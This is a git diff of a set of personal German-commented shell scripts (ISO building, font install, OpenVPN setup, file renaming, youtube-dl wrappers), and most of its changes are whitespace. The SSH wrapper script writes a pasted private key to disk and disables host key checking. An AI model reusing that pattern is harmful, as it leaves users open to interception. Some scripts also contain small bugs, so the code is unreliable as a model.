FILENAME=${wort##*/} # Dateiname ist alles ab dem letzten '/' + echo "$FILENAME" - cp $wort ""$2""$i""-""$FILENAME"" - i=$(expr ${i} + 1) + cp $wort ""$2""$i""-""$FILENAME"" + i=$(expr ${i} + 1) done sync diff --git a/doppelte-dateien-finder.sh b/doppelte-dateien-finder.sh index 208d7b8..8f3debd 100755 --- a/doppelte-dateien-finder.sh +++ b/doppelte-dateien-finder.sh @@ -1 +1 @@ -find . -type f -print0 | xargs -0 md5sum | sort | uniq -w32 -d --all-repeated=separate | cut -c35- +find . -type f -print0 | xargs -0 md5sum | sort | uniq -w32 -d --all-repeated=separate | cut -c35- diff --git a/image2.sh b/image2.sh index 98abfb9..a5d9ba1 100755 --- a/image2.sh +++ b/image2.sh @@ -1,13 +1,13 @@ xorriso -as mkisofs \ --iso-level 3 \ --full-iso9660-filenames \ --volid "SIMON_LINUX" \ --eltorito-boot isolinux/isolinux.bin \ --eltorito\-catalog isolinux/boot.cat \ --no-emul-boot -boot-load-size 4 -boot-info-table \ --isohybrid-mbr /mnt/customiso/arch/isolinux/isohdpfx.bin \ --eltorito-alt-boot \ --e EFI/archiso/efiboot.img \ --no-emul-boot -isohybrid-gpt-basdat \ --output arch-simon-linux-$(date "+%y.%m.%d")-dual.iso arch + -iso-level 3 \ + -full-iso9660-filenames \ + -volid "SIMON_LINUX" \ + -eltorito-boot isolinux/isolinux.bin \ + -eltorito\-catalog isolinux/boot.cat \ + -no-emul-boot -boot-load-size 4 -boot-info-table \ + -isohybrid-mbr /mnt/customiso/arch/isolinux/isohdpfx.bin \ + -eltorito-alt-boot \ + -e EFI/archiso/efiboot.img \ + -no-emul-boot -isohybrid-gpt-basdat \ + -output arch-simon-linux-$(date "+%y.%m.%d")-dual.iso arch diff --git a/image4.sh b/image4.sh index f0f6ce0..008cfd4 100755 --- a/image4.sh +++ b/image4.sh @@ -1,9 +1,9 @@ xorriso -as mkisofs \ --iso-level 3 \ --full-iso9660-filenames \ --volid "SIMON_LINUX" \ --eltorito-boot isolinux/isolinux.bin \ --eltorito\-catalog isolinux/boot.cat \ --no-emul-boot -boot-load-size 4 -boot-info-table \ --isohybrid-mbr /mnt/customiso/arch/isolinux/isohdpfx.bin \ --output arch-simon-linux-$(date "+%y.%m.%d")-x86_64.iso arch + -iso-level 3 \ + -full-iso9660-filenames \ + -volid "SIMON_LINUX" \ + -eltorito-boot isolinux/isolinux.bin \ + -eltorito\-catalog isolinux/boot.cat \ + -no-emul-boot -boot-load-size 4 -boot-info-table \ + -isohybrid-mbr /mnt/customiso/arch/isolinux/isohdpfx.bin \ + -output arch-simon-linux-$(date "+%y.%m.%d")-x86_64.iso arch diff --git a/install-firacode.sh b/install-firacode.sh index 7b703a2..651644e 100755 --- a/install-firacode.sh +++ b/install-firacode.sh @@ -11,5 +11,5 @@ fi # In download.sh for type in Bold Light Medium Regular Retina; do wget -O /usr/share/fonts/TTF/FiraCode-${type}.ttf \ - "https://github.com/tonsky/FiraCode/blob/master/distr/ttf/FiraCode-${type}.ttf?raw=true"; + "https://github.com/tonsky/FiraCode/blob/master/distr/ttf/FiraCode-${type}.ttf?raw=true"; done diff --git a/link.sh b/link.sh index 3cf9e95..250f3ea 100755 --- a/link.sh +++ b/link.sh @@ -3,8 +3,8 @@ BEFEHL=$1 if [ -f /system/xbin/$BEFEHL ]; then - echo "Überschreibe /system/xbin/$BEFEHL" - rm /system/xbin/$BEFEHL + echo "Überschreibe /system/xbin/$BEFEHL" + rm /system/xbin/$BEFEHL fi mount -o rw,remount /system diff --git a/mv_dir.sh b/mv_dir.sh index c203581..f60c4d1 100755 --- a/mv_dir.sh +++ b/mv_dir.sh @@ -5,15 +5,15 @@ stichwort="$1" while (( "$#" )) do - cd "${1%/*}" # gehe ins Verzeichnis + cd "${1%/*}" # gehe ins Verzeichnis - FILENAME=${1##*/} # Dateiname ist alles ab dem letzten '/' - echo "$FILENAME" - # guck dir die Ausgabe erstmal an - wenn alles passt kannst Du das "echo" weglassen - mv "$FILENAME" "${FILENAME%-*}" + FILENAME=${1##*/} # Dateiname ist alles ab dem letzten '/' + echo "$FILENAME" + # guck dir die Ausgabe erstmal an - wenn alles passt kannst Du das "echo" weglassen + mv "$FILENAME" "${FILENAME%-*}" - shift - cd - + shift + cd - done #mv_dir.sh /*master diff --git a/newstarter.sh b/newstarter.sh index 47da08c..cf87b78 100755 --- a/newstarter.sh +++ b/newstarter.sh @@ -2,11 +2,11 @@ numscreens=3 count=0 if [ -z $1 ] ; then -./X-Plane-x86_64 --monitor_bounds=0,0,1920,1080,1920,0,1920,1080,3840,0,1920,1080 & - while [ $count -lt $numscreens ]; do - sleep 1 - count=$( wmctrl -l | grep X-System | wc -l) - done + ./X-Plane-x86_64 --monitor_bounds=0,0,1920,1080,1920,0,1920,1080,3840,0,1920,1080 & + while [ $count -lt $numscreens ]; do + sleep 1 + count=$( wmctrl -l | grep X-System | wc -l) + done fi screencount=1 wmctrl -l | grep X-Syst |awk '{ print $1 }' | while read ; do diff --git a/openvpn.sh b/openvpn.sh index 4505419..b376aa9 100755 --- a/openvpn.sh +++ b/openvpn.sh @@ -9,9 +9,9 @@ set -ex echo "systemd start-script wird erzeugt!!!" echo "Bitte OpenVPN config in die /etc/openvpn/client/client.conf kopieren!!!" if [ -f /lib/systemd/system/openvpn-client@client.service ]; then -echo "link vorhanden!" + echo "link vorhanden!" else -ln /lib/systemd/system/openvpn-client@.service /lib/systemd/system/openvpn-client@client.service + ln /lib/systemd/system/openvpn-client@.service /lib/systemd/system/openvpn-client@client.service fi systemctl enable openvpn-client@client.service diff --git a/replaceSpace.sh b/replaceSpace.sh index 93f43e7..7d26c79 100755 --- a/replaceSpace.sh +++ b/replaceSpace.sh @@ -7,23 +7,23 @@ replace='_' # Ersetzungszeichen # aktuellen Verzeichnis for source in * do - case "$source" in - # Ist ein Leerzeichen im Namen vorhanden ... - *"$space"*) - # Erst mal den Namen in dest speichern ... - dest=`echo "$source" | sed "s/$space/$replace/g"` - # ... überprüfen, ob bereits eine Datei bzw. - # ein Verzeichnis mit gleichem Namen existiert - if test -f "$dest" - then - echo "Achtung: "$dest" existiert bereits ... \ - (Überspringen)" 1>&2 - continue - fi - # Vorgang auf der Standardausgabe mitschreiben - echo mv "$source" "$dest" - # Jetzt ersetzen ... - mv "$source" "$dest" - ;; - esac + case "$source" in + # Ist ein Leerzeichen im Namen vorhanden ... + *"$space"*) + # Erst mal den Namen in dest speichern ... + dest=`echo "$source" | sed "s/$space/$replace/g"` + # ... überprüfen, ob bereits eine Datei bzw. + # ein Verzeichnis mit gleichem Namen existiert + if test -f "$dest" + then + echo "Achtung: "$dest" existiert bereits ... \ + (Überspringen)" 1>&2 + continue + fi + # Vorgang auf der Standardausgabe mitschreiben + echo mv "$source" "$dest" + # Jetzt ersetzen ... + mv "$source" "$dest" + ;; + esac done diff --git a/shellinabox_sshwrapper.sh b/shellinabox_sshwrapper.sh index d22fc9e..7a7e990 100755 --- a/shellinabox_sshwrapper.sh +++ b/shellinabox_sshwrapper.sh @@ -1,5 +1,5 @@ #!/bin/bash -#  +# read -p "SSH remote host (hostname or ip address): " host; # read -p "If a puplic_key authentification?: N or y: " puplic; @@ -9,7 +9,7 @@ read -p "SSH remote port (22): " port; read -p "SSH remote username: " username; # if [ "$puplic" == "y" ]; - then +then read -p "How is your public_key?: " key; echo $key > ~/.ssh/id_rsa.pub; @@ -17,11 +17,11 @@ if [ "$puplic" == "y" ]; echo "Enter your private id here and press the enter key for a new line !!!"; id=null while [ "$id" != "" ]; - do - read -p "How is your id_rsa key?: " id; - echo $id >> ~/.ssh/id_rsa; + do + read -p "How is your id_rsa key?: " id; + echo $id >> ~/.ssh/id_rsa; done exec ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p $port $username@$host; - else +else exec ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p $port $username@$host; fi diff --git a/shellscripte.sh b/shellscripte.sh index 3029a9a..5f36f77 100755 --- a/shellscripte.sh +++ b/shellscripte.sh @@ -3,7 +3,7 @@ set -xe if [[ $EUID -ne 0 ]]; then - echo "This script must be run as root" 1>&2 + echo "This script must be run as root" 1>&2 sudo $0 exit 0 fi @@ -11,10 +11,10 @@ fi apt update apt upgrade -y apt install hedgewars minetest minetest-server teeworlds teeworlds-server \ -mumble mumble-server freeciv gnome-chess \ -gnuchess inkscape gimp ffmpeg flac git htop android-tools-adb \ -android-tools-fastboot \ -qemu-system btrfs-tools nvidia-367 nvidia-settings -y + mumble mumble-server freeciv gnome-chess \ + gnuchess inkscape gimp ffmpeg flac git htop android-tools-adb \ + android-tools-fastboot \ + qemu-system btrfs-tools nvidia-367 nvidia-settings -y nvidia-xconfig add-apt-repository ppa:obsproject/obs-studio diff --git a/systemctl-test.sh b/systemctl-test.sh index f5c4ad1..cde7a3b 100755 --- a/systemctl-test.sh +++ b/systemctl-test.sh @@ -7,6 +7,6 @@ SERVICE=openvpn-client@client.service if [ "`systemctl is-active $SERVICE`" != "active" ] then - echo "$SERVICE wasnt running so attempting restart" + echo "$SERVICE wasnt running so attempting restart" fi echo "$SERVICE is currently running" diff --git a/ts3_install-script.sh b/ts3_install-script.sh index 459c928..1e494b7 100755 --- a/ts3_install-script.sh +++ b/ts3_install-script.sh @@ -8,7 +8,7 @@ sudo adduser TeamSpeak --system --home /usr/local/bin/teamspeak3-server_linux_am echo "Schritt 2: Als TeamSpeak-User agieren" -su TeamSpeak --shell /bin/bash +su TeamSpeak --shell /bin/bash echo "Schritt 3: Herunterladen und entpacken" @@ -21,7 +21,7 @@ cd ~ echo "Schritt 3: Konfiguration erstellen" ./ts3server createinifile=1 -touch query_ip_blacklist.txt query_ip_whitelist.txt +touch query_ip_blacklist.txt query_ip_whitelist.txt echo "Schritt 4: TS3-Server starten" diff --git a/youtube-dl.sh b/youtube-dl.sh index cb05f44..1fba2d4 100755 --- a/youtube-dl.sh +++ b/youtube-dl.sh @@ -4,9 +4,9 @@ set -ex if [ "$1" == "--help" ] || [[ -z "$1" ]] then -echo "bash ./youtube-dl.sh URL FORMAT" -echo "Formate: [opus/m4a/video/hd/fullhd/4k]" -exit 0 + echo "bash ./youtube-dl.sh URL FORMAT" + echo "Formate: [opus/m4a/video/hd/fullhd/4k]" + exit 0 fi url="$1" diff --git a/youtube-pi.sh b/youtube-pi.sh index 89ace4e..8effdf7 100755 --- a/youtube-pi.sh +++ b/youtube-pi.sh @@ -5,8 +5,9 @@ set -ex if [ "$1" == "--help" ] || [[ -z "$1" ]] then echo "bitte alles kleinschreiben" - echo "bash ./youtube-dl.sh SUCHE/NOSUCHE URL/SUCHE FORMAT OUTPUT" + echo "bash ./youtube-dl.sh SUCHE/NOSUCHE URL/SUCHE FORMAT OUTPUT DISPLAY" echo "Formate: [VERYLOW/LOW/MEDIUM/HIGH]" + echo "Displays: [VGA=4;HDMI=0,1,2,3,5]" exit 0 fi @@ -22,7 +23,7 @@ else fi if [ -z ${output} ]; then -output="local" + output="local" fi if [ "$format" == "verylow" ] @@ -34,12 +35,16 @@ then elif [ "$format" == "medium" ] then format="-f 18" -#elif [ "$format" == "high" ] + #elif [ "$format" == "high" ] else -#then + #then format="-f 22" fi +if [ -n "${display}" ]; then + display="device=${display}" +fi + #read -p "Wie ist die URL? : " url #read -p "Wo sollen die Dateien heruntergeladen werden? : " pfad #read -p "Soll ein Video heruntergeladen werden oder Audio? [opus/m4a/video/hd/fullhd/4k] : " format @@ -47,9 +52,9 @@ fi if [ "$suche" == "suche" ] then - #omxplayer -p -o ${output} `youtube-dl -g "ytsearch:$url" -q --force-ipv4 $format` - /usr/bin/omxplayer.bin -I -s -o ${output} --vol -800 --aspect-mode letterbox --no-osd `youtube-dl -g "ytsearch:$url" -q --force-ipv4 ${format}` + #omxplayer -p -o ${output} `youtube-dl -g "ytsearch:$url" -q --force-ipv4 $format` + /usr/bin/omxplayer.bin ${device} -I -s -o ${output} --vol -800 --aspect-mode letterbox --no-osd `youtube-dl -g "ytsearch:$url" -q --force-ipv4 ${format}` else - #omxplayer -p -o ${output} `youtube-dl -g $url -q --force-ipv4 $format` - /usr/bin/omxplayer.bin -I -s -o ${output} --vol -800 --aspect-mode letterbox --no-osd `youtube-dl -g $url -q --force-ipv4 ${format}` + #omxplayer -p -o ${output} `youtube-dl -g $url -q --force-ipv4 $format` + /usr/bin/omxplayer.bin ${device} -I -s -o ${output} --vol -800 --aspect-mode letterbox --no-osd `youtube-dl -g $url -q --force-ipv4 ${format}` fi diff --git a/youtube.sh b/youtube.sh index 7f4d0c1..85e53c4 100755 --- a/youtube.sh +++ b/youtube.sh @@ -40,7 +40,7 @@ then format="-f 303+251" elif [ "$format" == "fullhdmp4" ] then - format="-f 299+140" ] +format="-f 299+140" ] elif [ "$format" == "4k" ] then format="-f 315+251"